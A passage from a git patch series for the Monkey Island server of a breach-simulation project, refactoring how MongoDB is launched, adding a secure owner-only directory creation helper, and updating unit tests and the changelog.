b/monkey/monkey_island/windows/clear_db.bat deleted file mode 100644 index 8597f3d32f9..00000000000 --- a/monkey/monkey_island/windows/clear_db.bat +++ /dev/null @@ -1,4 +0,0 @@ -@echo Are you sure? (Press Any Key) -@pause -@rmdir /s /q db -@mkdir db \ No newline at end of file diff --git a/monkey/monkey_island/windows/run_mongodb.bat b/monkey/monkey_island/windows/run_mongodb.bat deleted file mode 100644 index 106b5f00a07..00000000000 --- a/monkey/monkey_island/windows/run_mongodb.bat +++ /dev/null @@ -1,3 +0,0 @@ -REM - Runs MongoDB Server - -@title MongoDB -@bin\mongodb\mongod.exe --dbpath db --bind_ip 127.0.0.1 \ No newline at end of file diff --git a/monkey/monkey_island/windows/run_server.bat b/monkey/monkey_island/windows/run_server.bat index ab2ad274c86..5e5331a2e87 100644 --- a/monkey/monkey_island/windows/run_server.bat +++ b/monkey/monkey_island/windows/run_server.bat @@ -1,5 +1,3 @@ REM - Runs MongoDB Server & Monkey Island Server using built pyinstaller EXE - -if not exist db mkdir db -start windows\run_mongodb.bat start windows\run_cc_exe.bat -start https://localhost:5000 \ No newline at end of file +start https://localhost:5000 diff --git a/monkey/monkey_island/windows/run_server_py.bat b/monkey/monkey_island/windows/run_server_py.bat index 90d81c9b71b..a727211eacd 100644 --- a/monkey/monkey_island/windows/run_server_py.bat +++ b/monkey/monkey_island/windows/run_server_py.bat @@ -1,5 +1,3 @@ REM - Runs MongoDB Server & Monkey Island Server using python - -if not exist db mkdir db -start windows\run_mongodb.bat pipenv run windows\run_cc.bat start https://localhost:5000 From 36b3e987da6474334c90faea058a86299e379f48 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 26 May 2021 09:14:49 +0300 Subject: [PATCH 0580/1360] Added expand user call to transform data dir input into a proper path --- monkey/monkey_island/setup/island_config_options.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/setup/island_config_options.py b/monkey/monkey_island/setup/island_config_options.py index bf1c06e1b91..938c840a0f3 100644 --- a/monkey/monkey_island/setup/island_config_options.py +++ b/monkey/monkey_island/setup/island_config_options.py @@ -1,5 +1,7 @@ from __future__ import annotations +import os + from monkey_island.cc.server_utils.consts import ( DEFAULT_DATA_DIR, DEFAULT_LOG_LEVEL, @@ -9,7 +11,7 @@ class IslandConfigOptions: def __init__(self, config_contents: dict): - self.data_dir = config_contents.get("data_dir", DEFAULT_DATA_DIR) + self.data_dir = os.path.expanduser(config_contents.get("data_dir", DEFAULT_DATA_DIR)) self.log_level = config_contents.get("log_level", DEFAULT_LOG_LEVEL) From a5d72c8b94be6db4772bef1b2bf00899c379b948 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 26 May 2021 10:51:33 +0300 Subject: [PATCH 0581/1360] Fixed an import statement in monkey_island/main.py --- monkey/monkey_island/cc/main.py | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/monkey/monkey_island/cc/main.py b/monkey/monkey_island/cc/main.py index 820630210c4..af84666e81d 100644 --- a/monkey/monkey_island/cc/main.py +++ b/monkey/monkey_island/cc/main.py @@ -9,6 +9,7 @@ # "monkey_island." work. from gevent.pywsgi import WSGIServer +from monkey_island.cc.setup.database_initializer import init_collections from monkey_island.setup.island_config_options import IslandConfigOptions MONKEY_ISLAND_DIR_BASE_PATH = str(Path(__file__).parent.parent) @@ -30,10 +31,7 @@ from monkey_island.cc.services.initialize import initialize_services # noqa: E402 from monkey_island.cc.services.reporting.exporter_init import populate_exporter_list # noqa: E402 from monkey_island.cc.services.utils.network_utils import local_ip_addresses # noqa: E402 -from monkey_island.cc.setup.mongo_process_runner import ( # noqa: E402 - MongoDbRunner, - init_collections, -) +from monkey_island.cc.setup.mongo_process_runner import MongoDbRunner # noqa: E402 MINIMUM_MONGO_DB_VERSION_REQUIRED = "4.2.0" From 5f7e886310c2c61dbb8f1dfc82b04df254ff9ee2 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 26 May 2021 12:36:52 +0300 Subject: [PATCH 0582/1360] Updated CHANGELOG.md with mongodb launch from island changes. --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index c6e3bfc4512..6ab9cfb1a22 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -34,6 +34,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). - Improved the structure of unit tests by scoping fixtures only to relevant modules instead of having a one huge fixture file, improved and renamed the directory structure of unit tests and unit test infrastructure. #1178 +- MongoDb now gets launched by the Island via python. #1148 - Create/check data directory on Island init. #1170 ### Removed From 58745a0eb4c35213caa5bd68c43c9ecb9df2a353 Mon Sep 17 00:00:00 2001 From: Shreya Date: Wed, 26 May 2021 18:53:47 +0530 Subject: [PATCH 0583/1360] Use fixtures in test_process_runner.py --- .../cc/setup/test_process_runner.py | 20 +++++++++++-------- 1 file changed, 12 insertions(+), 8 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/setup/test_process_runner.py b/monkey/tests/unit_tests/monkey_island/cc/setup/test_process_runner.py index f4aec0ba845..5aa4e697b9c 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/setup/test_process_runner.py +++ b/monkey/tests/unit_tests/monkey_island/cc/setup/test_process_runner.py @@ -1,22 +1,26 @@ import os +import pytest + from monkey_island.cc.setup.mongo_process_runner import MongoDbRunner +TEST_DIR_NAME = "test_dir" + + +@pytest.fixture +def expected_path(monkeypatch, tmpdir): + monkeypatch.setattr("monkey_island.cc.setup.mongo_process_runner.DB_DIR_NAME", TEST_DIR_NAME) + expected_path = os.path.join(tmpdir, TEST_DIR_NAME) + return expected_path -def test_create_db_dir(monkeypatch, tmpdir): - test_dir_name = "test_dir" - monkeypatch.setattr("monkey_island.cc.setup.mongo_process_runner.DB_DIR_NAME", test_dir_name) - expected_path = os.path.join(tmpdir, test_dir_name) +def test_create_db_dir(monkeypatch, tmpdir, expected_path): db_path = MongoDbRunner(tmpdir, tmpdir)._create_db_dir() assert os.path.isdir(expected_path) assert db_path == expected_path -def test_create_db_dir__already_created(monkeypatch, tmpdir): - test_dir_name = "test_dir" - monkeypatch.setattr("monkey_island.cc.setup.mongo_process_runner.DB_DIR_NAME", test_dir_name) - expected_path = os.path.join(tmpdir, test_dir_name) +def test_create_db_dir__already_created(monkeypatch, tmpdir, expected_path): os.mkdir(expected_path) db_path = MongoDbRunner(tmpdir, tmpdir)._create_db_dir() From 0be8e5685805a3e8fe39a4098519d7b7bf818694 Mon Sep 17 00:00:00 2001 From: Shreya Date: Wed, 26 May 2021 19:02:11 +0530 Subject: [PATCH 0584/1360] Add fixture for fake db dir in test_process_runner.py --- .../monkey_island/cc/setup/test_process_runner.py | 6 +++++- whitelist.py | 2 ++ 2 files changed, 7 insertions(+), 1 deletion(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/setup/test_process_runner.py b/monkey/tests/unit_tests/monkey_island/cc/setup/test_process_runner.py index 5aa4e697b9c..5a6870dc2c8 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/setup/test_process_runner.py +++ b/monkey/tests/unit_tests/monkey_island/cc/setup/test_process_runner.py @@ -7,9 +7,13 @@ TEST_DIR_NAME = "test_dir" +@pytest.fixture(autouse=True) +def fake_db_dir(monkeypatch, tmpdir): + monkeypatch.setattr("monkey_island.cc.setup.mongo_process_runner.DB_DIR_NAME", TEST_DIR_NAME) + + @pytest.fixture def expected_path(monkeypatch, tmpdir): - monkeypatch.setattr("monkey_island.cc.setup.mongo_process_runner.DB_DIR_NAME", TEST_DIR_NAME) expected_path = os.path.join(tmpdir, TEST_DIR_NAME) return expected_path diff --git a/whitelist.py b/whitelist.py index 51d4c22b8cb..6739d47919d 100644 --- a/whitelist.py +++ b/whitelist.py @@ -166,6 +166,8 @@ DigitalOcean # unused variable (monkey/common/cloud/environment_names.py:12) _.aws_info # unused attribute (monkey/monkey_island/cc/environment/aws.py:13) build_from_config_file_contents # unused method 'build_from_config_file_contents' (\monkey_island\setup\island_config_options.py:18) +fake_db_dir # unused function 'fake_db_dir' (monkey/tests/unit_tests/monkey_island/cc/setup/test_process_runner.py:10) + # these are not needed for it to work, but may be useful extra information to understand what's going on WINDOWS_PBA_TYPE # unused variable (monkey/monkey_island/cc/resources/pba_file_upload.py:23) From 1610860bd0009354353c3be6855873a58f2fb0a2 Mon Sep 17 00:00:00 2001 From: Shreya Date: Wed, 26 May 2021 19:03:30 +0530 Subject: [PATCH 0585/1360] Rename test_process_runner.py to test_mongo_process_runner.py to better reflect the file it's testing --- .../{test_process_runner.py => test_mongo_process_runner.py} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename monkey/tests/unit_tests/monkey_island/cc/setup/{test_process_runner.py => test_mongo_process_runner.py} (100%) diff --git a/monkey/tests/unit_tests/monkey_island/cc/setup/test_process_runner.py b/monkey/tests/unit_tests/monkey_island/cc/setup/test_mongo_process_runner.py similarity index 100% rename from monkey/tests/unit_tests/monkey_island/cc/setup/test_process_runner.py rename to monkey/tests/unit_tests/monkey_island/cc/setup/test_mongo_process_runner.py From f5f8f572f6efd49b292a9fee540372117f9f9a46 Mon Sep 17 00:00:00 2001 From: Shreya Date: Wed, 26 May 2021 19:05:39 +0530 Subject: [PATCH 0586/1360] Remove unneeded function arguments in test_mongo_process_runner.py --- .../monkey_island/cc/setup/test_mongo_process_runner.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/setup/test_mongo_process_runner.py b/monkey/tests/unit_tests/monkey_island/cc/setup/test_mongo_process_runner.py index 5a6870dc2c8..5a8ac75f869 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/setup/test_mongo_process_runner.py +++ b/monkey/tests/unit_tests/monkey_island/cc/setup/test_mongo_process_runner.py @@ -8,23 +8,23 @@ @pytest.fixture(autouse=True) -def fake_db_dir(monkeypatch, tmpdir): +def fake_db_dir(monkeypatch): monkeypatch.setattr("monkey_island.cc.setup.mongo_process_runner.DB_DIR_NAME", TEST_DIR_NAME) @pytest.fixture -def expected_path(monkeypatch, tmpdir): +def expected_path(tmpdir): expected_path = os.path.join(tmpdir, TEST_DIR_NAME) return expected_path -def test_create_db_dir(monkeypatch, tmpdir, expected_path): +def test_create_db_dir(tmpdir, expected_path): db_path = MongoDbRunner(tmpdir, tmpdir)._create_db_dir() assert os.path.isdir(expected_path) assert db_path == expected_path -def test_create_db_dir__already_created(monkeypatch, tmpdir, expected_path): +def test_create_db_dir__already_created(tmpdir, expected_path): os.mkdir(expected_path) db_path = MongoDbRunner(tmpdir, tmpdir)._create_db_dir() From f7674b0635c04d727adf4f124124f938bcacccb4 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 26 May 2021 16:45:51 +0300 Subject: [PATCH 0587/1360] Aggregated duplicate runtime os checking functions into one. --- monkey/monkey_island/cc/environment/utils.py | 4 ++-- .../monkey_island/cc/server_utils/common_methods.py | 11 ----------- monkey/monkey_island/cc/setup/mongo_process_runner.py | 4 ++-- 3 files changed, 4 insertions(+), 15 deletions(-) delete mode 100644 monkey/monkey_island/cc/server_utils/common_methods.py diff --git a/monkey/monkey_island/cc/environment/utils.py b/monkey/monkey_island/cc/environment/utils.py index cbb8a1d6fa9..585b2cc7958 100644 --- a/monkey/monkey_island/cc/environment/utils.py +++ b/monkey/monkey_island/cc/environment/utils.py @@ -1,5 +1,5 @@ -import sys +import platform def is_windows_os() -> bool: - return sys.platform.startswith("win") + return platform.system() == "Windows" diff --git a/monkey/monkey_island/cc/server_utils/common_methods.py b/monkey/monkey_island/cc/server_utils/common_methods.py deleted file mode 100644 index 218f146edf7..00000000000 --- a/monkey/monkey_island/cc/server_utils/common_methods.py +++ /dev/null @@ -1,11 +0,0 @@ -import platform - -WINDOWS = "Windows" -LINUX = "Linux" - - -def get_runtime_os() -> str: - if platform.system() == "Windows": - return WINDOWS - else: - return LINUX diff --git a/monkey/monkey_island/cc/setup/mongo_process_runner.py b/monkey/monkey_island/cc/setup/mongo_process_runner.py index bc429479ee8..71d3e6c8132 100644 --- a/monkey/monkey_island/cc/setup/mongo_process_runner.py +++ b/monkey/monkey_island/cc/setup/mongo_process_runner.py @@ -3,7 +3,7 @@ import subprocess from typing import List -from monkey_island.cc.server_utils.common_methods import WINDOWS, get_runtime_os +from monkey_island.cc.environment.utils import is_windows_os from monkey_island.cc.server_utils.consts import ( MONGO_EXECUTABLE_PATH_LINUX, MONGO_EXECUTABLE_PATH_WIN, @@ -53,7 +53,7 @@ def _start_mongodb_process(self, db_dir_path: str): @staticmethod def _get_path_of_mongo_exec(): - if get_runtime_os() == WINDOWS: + if is_windows_os(): return MONGO_EXECUTABLE_PATH_WIN else: return MONGO_EXECUTABLE_PATH_LINUX From 5aeab3a56c901951349aa482bd32cec3db8017f4 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 26 May 2021 16:56:08 +0300 Subject: [PATCH 0588/1360] Refactored mongo executable path to be calculated in consts, since this is a trivial calculation. --- monkey/monkey_island/cc/server_utils/consts.py | 11 +++++++---- .../cc/setup/mongo_process_runner.py | 16 ++-------------- 2 files changed, 9 insertions(+), 18 deletions(-) diff --git a/monkey/monkey_island/cc/server_utils/consts.py b/monkey/monkey_island/cc/server_utils/consts.py index 9bc1e70592d..5cc9a0dd1ca 100644 --- a/monkey/monkey_island/cc/server_utils/consts.py +++ b/monkey/monkey_island/cc/server_utils/consts.py @@ -20,13 +20,16 @@ def get_default_data_dir() -> str: DEFAULT_MONKEY_TTL_EXPIRY_DURATION_IN_SECONDS = 60 * 5 +_MONGO_BINARY_DIR = os.path.join(MONKEY_ISLAND_ABS_PATH, "bin", "mongodb") +_MONGO_EXECUTABLE_PATH_WIN = os.path.join(_MONGO_BINARY_DIR, "mongod.exe") +_MONGO_EXECUTABLE_PATH_LINUX = os.path.join(_MONGO_BINARY_DIR, "bin", "mongod") +MONGO_EXECUTABLE_PATH = ( + _MONGO_EXECUTABLE_PATH_WIN if is_windows_os() else _MONGO_EXECUTABLE_PATH_LINUX +) + DEFAULT_SERVER_CONFIG_PATH = os.path.expandvars( os.path.join(DEFAULT_DATA_DIR, SERVER_CONFIG_FILENAME) ) -_MONGO_EXECUTABLE_PATH = os.path.join(MONKEY_ISLAND_ABS_PATH, "bin", "mongodb") -MONGO_EXECUTABLE_PATH_WIN = os.path.join(_MONGO_EXECUTABLE_PATH, "mongod.exe") -MONGO_EXECUTABLE_PATH_LINUX = os.path.join(_MONGO_EXECUTABLE_PATH, "bin", "mongod") - DEFAULT_DEVELOP_SERVER_CONFIG_PATH = os.path.join( MONKEY_ISLAND_ABS_PATH, "cc", f"{SERVER_CONFIG_FILENAME}.develop" diff --git a/monkey/monkey_island/cc/setup/mongo_process_runner.py b/monkey/monkey_island/cc/setup/mongo_process_runner.py index 71d3e6c8132..ab26be8de8f 100644 --- a/monkey/monkey_island/cc/setup/mongo_process_runner.py +++ b/monkey/monkey_island/cc/setup/mongo_process_runner.py @@ -3,11 +3,7 @@ import subprocess from typing import List -from monkey_island.cc.environment.utils import is_windows_os -from monkey_island.cc.server_utils.consts import ( - MONGO_EXECUTABLE_PATH_LINUX, - MONGO_EXECUTABLE_PATH_WIN, -) +from monkey_island.cc.server_utils.consts import MONGO_EXECUTABLE_PATH logger = logging.getLogger(__name__) @@ -39,9 +35,8 @@ def _create_db_dir(self) -> str: def _start_mongodb_process(self, db_dir_path: str): logger.info("Starting MongoDb process.") - mongo_exec = MongoDbRunner._get_path_of_mongo_exec() - mongo_run_cmd = MongoDbRunner._build_mongo_launch_cmd(mongo_exec, db_dir_path) + mongo_run_cmd = MongoDbRunner._build_mongo_launch_cmd(MONGO_EXECUTABLE_PATH, db_dir_path) logger.info(f"Mongodb will be launched with command: f{' '.join(mongo_run_cmd)}.") mongo_log_path = os.path.join(self.logging_dir_path, MONGO_LOG_FILENAME) @@ -51,13 +46,6 @@ def _start_mongodb_process(self, db_dir_path: str): subprocess.Popen(mongo_run_cmd, stderr=subprocess.STDOUT, stdout=log) logger.info("MongoDb launched successfully!") - @staticmethod - def _get_path_of_mongo_exec(): - if is_windows_os(): - return MONGO_EXECUTABLE_PATH_WIN - else: - return MONGO_EXECUTABLE_PATH_LINUX - @staticmethod def _build_mongo_launch_cmd(exec_path: str, db_path: str) -> List[str]: return [exec_path, DB_DIR_PARAM, db_path] From cb14a4ea9b8d3f658df610936c2c830e81d5207f Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 27 May 2021 10:36:37 +0300 Subject: [PATCH 0589/1360] Refactored secure directory creation into a separate method. Data dir creation and db dir creation now use that method. Added unit tests for secure directory creation. --- .../cc/environment/linux_permissions.py | 7 +++ monkey/monkey_island/cc/environment/utils.py | 43 +++++++++++++++ .../cc/environment/windows_permissions.py | 11 ++-- .../cc/setup/mongo_process_runner.py | 5 +- .../cc/environment/test_utils.py | 52 +++++++++++++++++++ .../cc/setup/test_mongo_process_runner.py | 32 ------------ 6 files changed, 108 insertions(+), 42 deletions(-) create mode 100644 monkey/monkey_island/cc/environment/linux_permissions.py create mode 100644 monkey/tests/unit_tests/monkey_island/cc/environment/test_utils.py delete mode 100644 monkey/tests/unit_tests/monkey_island/cc/setup/test_mongo_process_runner.py diff --git a/monkey/monkey_island/cc/environment/linux_permissions.py b/monkey/monkey_island/cc/environment/linux_permissions.py new file mode 100644 index 00000000000..2280c7637a5 --- /dev/null +++ b/monkey/monkey_island/cc/environment/linux_permissions.py @@ -0,0 +1,7 @@ +import os +import stat + + +def set_perms_to_owner_only(path: str): + # Read, write, and execute by owner + os.chmod(path, stat.S_IRWXU) diff --git a/monkey/monkey_island/cc/environment/utils.py b/monkey/monkey_island/cc/environment/utils.py index 585b2cc7958..7d74e4f2bb9 100644 --- a/monkey/monkey_island/cc/environment/utils.py +++ b/monkey/monkey_island/cc/environment/utils.py @@ -1,5 +1,48 @@ +import logging +import os import platform def is_windows_os() -> bool: return platform.system() == "Windows" + + +if is_windows_os(): + from monkey_island.cc.environment.windows_permissions import ( # noqa: E402 + set_full_folder_access, + ) +else: + from monkey_island.cc.environment.linux_permissions import set_perms_to_owner_only # noqa: E402 + +LOG = logging.getLogger(__name__) + + +def create_secure_directory(path: str, create_parent_dirs: bool): + if not os.path.isdir(path): + create_directory(path, create_parent_dirs) + set_secure_permissions(path) + + +def create_directory(path: str, create_parent_dirs: bool): + try: + if create_parent_dirs: + os.makedirs(path) + else: + os.mkdir(path) + except Exception as ex: + LOG.error( + f'Could not create a directory at "{path}" (maybe `$HOME` could not be ' + f"resolved?): {str(ex)}" + ) + raise ex + + +def set_secure_permissions(dir_path: str): + try: + if is_windows_os(): + set_full_folder_access(folder_path=dir_path) + else: + set_perms_to_owner_only(path=dir_path) + except Exception as ex: + LOG.error(f"Permissions could not be " f"set successfully for {dir_path}: {str(ex)}") + raise ex diff --git a/monkey/monkey_island/cc/environment/windows_permissions.py b/monkey/monkey_island/cc/environment/windows_permissions.py index d17947a2e43..5d4913151fb 100644 --- a/monkey/monkey_island/cc/environment/windows_permissions.py +++ b/monkey/monkey_island/cc/environment/windows_permissions.py @@ -1,10 +1,7 @@ -from monkey_island.cc.environment.utils import is_windows_os - -if is_windows_os(): - import ntsecuritycon - import win32api - import win32con - import win32security +import ntsecuritycon +import win32api +import win32con +import win32security def set_full_folder_access(folder_path: str) -> None: diff --git a/monkey/monkey_island/cc/setup/mongo_process_runner.py b/monkey/monkey_island/cc/setup/mongo_process_runner.py index ab26be8de8f..d725bef75cb 100644 --- a/monkey/monkey_island/cc/setup/mongo_process_runner.py +++ b/monkey/monkey_island/cc/setup/mongo_process_runner.py @@ -3,6 +3,7 @@ import subprocess from typing import List +from monkey_island.cc.environment.utils import create_secure_directory from monkey_island.cc.server_utils.consts import MONGO_EXECUTABLE_PATH logger = logging.getLogger(__name__) @@ -28,9 +29,7 @@ def launch_mongodb(self): def _create_db_dir(self) -> str: db_path = os.path.join(self.db_dir_parent_path, DB_DIR_NAME) logger.info(f"Database content directory: {db_path}.") - if not os.path.isdir(db_path): - logger.info("Database content directory not found, creating one.") - os.mkdir(os.path.join(self.db_dir_parent_path, DB_DIR_NAME)) + create_secure_directory(db_path) return db_path def _start_mongodb_process(self, db_dir_path: str): diff --git a/monkey/tests/unit_tests/monkey_island/cc/environment/test_utils.py b/monkey/tests/unit_tests/monkey_island/cc/environment/test_utils.py new file mode 100644 index 00000000000..c2d7baeefdb --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/environment/test_utils.py @@ -0,0 +1,52 @@ +import os +import shutil +import stat + +import pytest + +from monkey_island.cc.environment.utils import create_secure_directory, is_windows_os + + +@pytest.fixture +def test_path_nested(tmpdir): + nested_path = "/test1/test2/test3" + path = os.path.join(tmpdir, nested_path) + yield path + try: + shutil.rmtree(os.path.join(tmpdir, "/test1")) + except Exception: + pass + + +@pytest.fixture +def test_path(tmpdir): + test_path = "/test1" + path = os.path.join(tmpdir, test_path) + yield path + try: + shutil.rmtree(path) + except Exception: + pass + + +def test_create_secure_directory__parent_dirs(test_path_nested): + create_secure_directory(test_path_nested, create_parent_dirs=True) + assert os.path.isdir(test_path_nested) + + +def test_create_secure_directory__already_created(test_path): + os.mkdir(test_path) + assert os.path.isdir(test_path) + create_secure_directory(test_path, create_parent_dirs=False) + + +def test_create_secure_directory__no_parent_dir(test_path_nested): + with pytest.raises(Exception): + create_secure_directory(test_path_nested, create_parent_dirs=False) + + +@pytest.mark.skipif(is_windows_os(), reason="Tests Posix (not Windows) permissions.") +def test_create_secure_directory__perm_linux(test_path_nested): + create_secure_directory(test_path_nested, create_parent_dirs=True) + st = os.stat(test_path_nested) + return bool(st.st_mode & stat.S_IRWXU) diff --git a/monkey/tests/unit_tests/monkey_island/cc/setup/test_mongo_process_runner.py b/monkey/tests/unit_tests/monkey_island/cc/setup/test_mongo_process_runner.py deleted file mode 100644 index 5a8ac75f869..00000000000 --- a/monkey/tests/unit_tests/monkey_island/cc/setup/test_mongo_process_runner.py +++ /dev/null @@ -1,32 +0,0 @@ -import os - -import pytest - -from monkey_island.cc.setup.mongo_process_runner import MongoDbRunner - -TEST_DIR_NAME = "test_dir" - - -@pytest.fixture(autouse=True) -def fake_db_dir(monkeypatch): - monkeypatch.setattr("monkey_island.cc.setup.mongo_process_runner.DB_DIR_NAME", TEST_DIR_NAME) - - -@pytest.fixture -def expected_path(tmpdir): - expected_path = os.path.join(tmpdir, TEST_DIR_NAME) - return expected_path - - -def test_create_db_dir(tmpdir, expected_path): - db_path = MongoDbRunner(tmpdir, tmpdir)._create_db_dir() - assert os.path.isdir(expected_path) - assert db_path == expected_path - - -def test_create_db_dir__already_created(tmpdir, expected_path): - os.mkdir(expected_path) - - db_path = MongoDbRunner(tmpdir, tmpdir)._create_db_dir() - assert os.path.isdir(expected_path) - assert db_path == expected_path From 7240d60342589057d8d6e8ed24a45b80bfba3ae3 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 27 May 2021 10:40:11 +0300 Subject: [PATCH 0590/1360] Typos and small bugfixes in mongo_process_runner.py --- monkey/monkey_island/cc/setup/mongo_process_runner.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/cc/setup/mongo_process_runner.py b/monkey/monkey_island/cc/setup/mongo_process_runner.py index d725bef75cb..d03b62913e7 100644 --- a/monkey/monkey_island/cc/setup/mongo_process_runner.py +++ b/monkey/monkey_island/cc/setup/mongo_process_runner.py @@ -29,17 +29,17 @@ def launch_mongodb(self): def _create_db_dir(self) -> str: db_path = os.path.join(self.db_dir_parent_path, DB_DIR_NAME) logger.info(f"Database content directory: {db_path}.") - create_secure_directory(db_path) + create_secure_directory(db_path, create_parent_dirs=False) return db_path def _start_mongodb_process(self, db_dir_path: str): logger.info("Starting MongoDb process.") mongo_run_cmd = MongoDbRunner._build_mongo_launch_cmd(MONGO_EXECUTABLE_PATH, db_dir_path) - logger.info(f"Mongodb will be launched with command: f{' '.join(mongo_run_cmd)}.") + logger.info(f"Mongodb will be launched with command: {' '.join(mongo_run_cmd)}.") mongo_log_path = os.path.join(self.logging_dir_path, MONGO_LOG_FILENAME) - logger.info(f"Mongodb log will be available at f{mongo_log_path}.") + logger.info(f"Mongodb log will be available at {mongo_log_path}.") with open(mongo_log_path, "w") as log: subprocess.Popen(mongo_run_cmd, stderr=subprocess.STDOUT, stdout=log) From 4b733ba383cabfd8138568c66c1e21c6cae41a81 Mon Sep 17 00:00:00 2001 From: Shreya Date: Thu, 27 May 2021 15:40:47 +0530 Subject: [PATCH 0591/1360] Fix unit tests (test_utils.py) --- .../unit_tests/monkey_island/cc/environment/test_utils.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/environment/test_utils.py b/monkey/tests/unit_tests/monkey_island/cc/environment/test_utils.py index c2d7baeefdb..fa2c4202b10 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/environment/test_utils.py +++ b/monkey/tests/unit_tests/monkey_island/cc/environment/test_utils.py @@ -9,18 +9,18 @@ @pytest.fixture def test_path_nested(tmpdir): - nested_path = "/test1/test2/test3" + nested_path = "test1/test2/test3" path = os.path.join(tmpdir, nested_path) yield path try: - shutil.rmtree(os.path.join(tmpdir, "/test1")) + shutil.rmtree(os.path.join(tmpdir, "test1")) except Exception: pass @pytest.fixture def test_path(tmpdir): - test_path = "/test1" + test_path = "test1" path = os.path.join(tmpdir, test_path) yield path try: From 26e57153dab5a09cbe344b4d7ed1fa08bcc19411 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 27 May 2021 14:08:51 +0300 Subject: [PATCH 0592/1360] Fixed typos and renamed windows permission setting function in windows_permissions.py to be more specific. --- .../cc/environment/data_dir_generator.py | 30 ------------------- monkey/monkey_island/cc/environment/utils.py | 14 ++++----- .../cc/environment/windows_permissions.py | 2 +- monkey/monkey_island/setup/config_setup.py | 7 ++--- 4 files changed, 10 insertions(+), 43 deletions(-) delete mode 100644 monkey/monkey_island/cc/environment/data_dir_generator.py diff --git a/monkey/monkey_island/cc/environment/data_dir_generator.py b/monkey/monkey_island/cc/environment/data_dir_generator.py deleted file mode 100644 index 58e16d4b797..00000000000 --- a/monkey/monkey_island/cc/environment/data_dir_generator.py +++ /dev/null @@ -1,30 +0,0 @@ -import logging -import os - -from monkey_island.cc.environment.utils import is_windows_os -from monkey_island.cc.environment.windows_permissions import set_full_folder_access - -LOG = logging.getLogger(__name__) - - -def create_data_dir(data_dir: str, create_parent_dirs: bool) -> None: - if not os.path.isdir(data_dir): - try: - if create_parent_dirs: - os.makedirs(data_dir, mode=0o700) - else: - os.mkdir(data_dir, mode=0o700) - except Exception as ex: - LOG.error( - f'Could not create data directory at "{data_dir}" (maybe `$HOME` could not be ' - f"resolved?): {str(ex)}" - ) - - if is_windows_os(): # `mode=0o700` doesn't work on Windows - try: - set_full_folder_access(folder_path=data_dir) - except Exception as ex: - LOG.error( - f'Data directory was created at "{data_dir}" but permissions could not be ' - f"set successfully: {str(ex)}" - ) diff --git a/monkey/monkey_island/cc/environment/utils.py b/monkey/monkey_island/cc/environment/utils.py index 7d74e4f2bb9..907e30d4745 100644 --- a/monkey/monkey_island/cc/environment/utils.py +++ b/monkey/monkey_island/cc/environment/utils.py @@ -8,11 +8,9 @@ def is_windows_os() -> bool: if is_windows_os(): - from monkey_island.cc.environment.windows_permissions import ( # noqa: E402 - set_full_folder_access, - ) + import monkey_island.cc.environment.windows_permissions as windows_permissions else: - from monkey_island.cc.environment.linux_permissions import set_perms_to_owner_only # noqa: E402 + import monkey_island.cc.environment.linux_permissions as linux_permissions # noqa: E402 LOG = logging.getLogger(__name__) @@ -31,7 +29,7 @@ def create_directory(path: str, create_parent_dirs: bool): os.mkdir(path) except Exception as ex: LOG.error( - f'Could not create a directory at "{path}" (maybe `$HOME` could not be ' + f'Could not create a directory at "{path}" (maybe environmental variables could not be ' f"resolved?): {str(ex)}" ) raise ex @@ -40,9 +38,9 @@ def create_directory(path: str, create_parent_dirs: bool): def set_secure_permissions(dir_path: str): try: if is_windows_os(): - set_full_folder_access(folder_path=dir_path) + windows_permissions.set_perms_to_owner_only(folder_path=dir_path) else: - set_perms_to_owner_only(path=dir_path) + linux_permissions.set_perms_to_owner_only(path=dir_path) except Exception as ex: - LOG.error(f"Permissions could not be " f"set successfully for {dir_path}: {str(ex)}") + LOG.error(f"Permissions could not be set successfully for {dir_path}: {str(ex)}") raise ex diff --git a/monkey/monkey_island/cc/environment/windows_permissions.py b/monkey/monkey_island/cc/environment/windows_permissions.py index 5d4913151fb..225e52370b2 100644 --- a/monkey/monkey_island/cc/environment/windows_permissions.py +++ b/monkey/monkey_island/cc/environment/windows_permissions.py @@ -4,7 +4,7 @@ import win32security -def set_full_folder_access(folder_path: str) -> None: +def set_perms_to_owner_only(folder_path: str) -> None: user = get_user_pySID_object() security_descriptor = win32security.GetFileSecurity( diff --git a/monkey/monkey_island/setup/config_setup.py b/monkey/monkey_island/setup/config_setup.py index 5c9625ac476..50330aea35e 100644 --- a/monkey/monkey_island/setup/config_setup.py +++ b/monkey/monkey_island/setup/config_setup.py @@ -2,7 +2,7 @@ from typing import Tuple from monkey_island.cc.environment import server_config_handler -from monkey_island.cc.environment.data_dir_generator import create_data_dir # noqa: E402 +from monkey_island.cc.environment.utils import create_secure_directory from monkey_island.cc.server_utils.consts import DEFAULT_DATA_DIR, DEFAULT_SERVER_CONFIG_PATH from monkey_island.setup.island_config_options import IslandConfigOptions @@ -10,14 +10,13 @@ def setup_config_by_cmd_arg(server_config_path) -> Tuple[IslandConfigOptions, 